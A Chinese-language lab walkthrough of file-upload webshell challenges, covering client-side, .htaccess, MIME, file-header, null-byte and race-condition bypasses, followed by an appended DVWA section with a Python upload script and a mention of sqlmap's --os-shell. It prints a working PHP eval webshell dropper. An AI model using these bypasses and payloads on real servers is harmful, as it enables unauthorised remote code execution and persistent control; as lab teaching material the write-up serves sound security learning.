文件上传Webshell靶场

Webshell 是一种恶意脚本,通常被黑客上传到受害者的服务器上,以便远程控制和管理该服务器。它可以通过 web 应用程序的漏洞(如文件上传漏洞)被植入,并允许攻击者执行命令、访问文件、修改数据库等。

前端绕过

在第一关的靶场中,直接上传图片是可以的,如何判断是否是前端验证呢?首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了。

针对无法绕过的情况,我们可以先将php文件改为图片后缀,然后进行上传,同时开启抓包拦截该数据包,再将后缀名修改回原来的php即可实现绕过。

查看前端即可发现已经上传成功,右键复制图片链接地址即可访问木马文件。

然后我们拿到蚁剑进行连接即可。

之后发现flag

.htaccess绕过

因为题目是考查 htaccess 这个上传知识点,所以先准备一个解析规则:

$ cat .htaccess
AddType application/x-httpd-php .jpg

然后先上传这个 .htaccess 文件到服务器的 upload 目录下:

这表示将 upload 目录下的所有jpg图片都当做 php 来解析,然后再上传一个 shell.php重命名为shell.jpg的 webshell 即可,可以看到之前的.htaccess也已经被上传。

MIME绕过

因为提示了 MIME 类型校验,所以抓取上传的数据包然后直接修改 Content-Type 类型为:image/png 等合法的类型即可:

上传shell.jpg,然后再重新将后缀改为php即可,content-type会自动识别为图片类型实现绕过。

或者是直接上传shell.php,然后将content-type改为image/jpeg即可。

文件头绕过

本题配图中里面包含了 GIF89a 已经很明显了,答案就在题目中。本题校验了图片的文件头也就是校验图片内容的,这个时候使用一个标准的图马是可以成功绕过的,由于国光的这个代码只校验了前面几个字节,所以直接在webshell的内容前写GIF89a 即可成功绕过:

古老的漏洞-1 GET型00截断绕过

%00 截断:PHP 内核是由 C 语言实现的,所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候, 0 字节 (\x00) 将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。

%00 截断适用条件

  • magic_quotes_gpc = Off
  • PHP 版本小于 5.3.4

原理是 %00 起到截断的作用,最终会在 upload 目录下面生成 new.php

古老的漏洞-2 POST型00截断绕过

本关与上一关基本相同,只不过路径的提交点在POST请求体中。

因为不是 GET 型,所以需要手动 URL 解码实现截断。

这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传。

条件竞争

本关实际上比拼的是手速,条件竞争的话稍微和正常的上传姿势不一样,先把题目中给的 webshell 信息复制出来备用:

shell.php内容

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

那么其实逻辑是一直上传对应的shell.php,而其本质上并不是之前几关的webshell,而是在触发一个文件创建的操作,创建一个xiao.php,内容为webshell。但是由于服务器安全机制,会删除我们的文件,所以必须要趁服务器未删除前触发这个新的文件创建操作,实现上传。

首先上传并抓包这个shell.php,然后发送到intruder模块,选择空载荷Null Payload。然后选择无限爆破。

然后我们再去访问这个shell.php并抓包发送到intruder模块,也是使用Intruder无限爆破访问,如果条件竞争成功,那么将在服务器下生成对应的xiao.php,然后就可以连接了。

成不成全靠运气,不然怎么叫做竞争呢?

成功的话会在服务器中生成xiao.php。

### DVWA Web Security Lab 中的 WebShell 教程 #### 关于DVWA中的WebShell漏洞利用 在DVWA (Damn Vulnerable Web Application) 靶场环境中,`WebShell`功能通常用于展示如何通过上传恶意脚本文件来获得对服务器的部分控制权限。为了成功执行这一攻击向量,应用程序必须允许用户上传文件到服务器上,并且这些文件能够被解释器解析并运行。 对于低安全级别配置下的DVWA实例: - 用户可以访问带有已知漏洞的应用程序页面。 - 攻击者可能尝试上传特制PHP文件或其他可执行代码片段作为图片或文档等形式提交给服务器保存。 - 如果验证机制薄弱,则可能导致任意命令注入风险,使得远程攻击者能够在目标主机上植入持久化后门即所谓的web shell[^1]。 下面是一个简单的Python脚本例子,用来模拟发送POST请求以试图绕过基本的身份验证并将payload传递至服务器端处理函数;请注意这仅作学习用途,在实际渗透测试过程中应当遵循合法授权流程! ```python import requests target_url = 'http://example.com/upload' # 替换成真实的URL路径 file_to_upload = ('filename', open('malicious.php', 'rb')) data_posted = {'submit': 'Upload'} response = requests.post(target_url, files=[file_to_upload], data=data_posted) if response.status_code == 200: print("[+] 文件上传成功") else: print("[-] 请求失败:", response.status_code) ``` 一旦获得了有效的反序列化点或者是其他类型的RCE(Remote Code Execution),就可以考虑使用工具如sqlmap配合特定参数(--os-shell),它可以帮助自动化地探测数据库管理系统上的SQL注入缺陷,并进一步提升权限直至取得操作系统层面交互式的shell会话环境[^2]。 需要注意的是上述操作均需在一个受控实验室内完成,严禁非法入侵任何网络资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值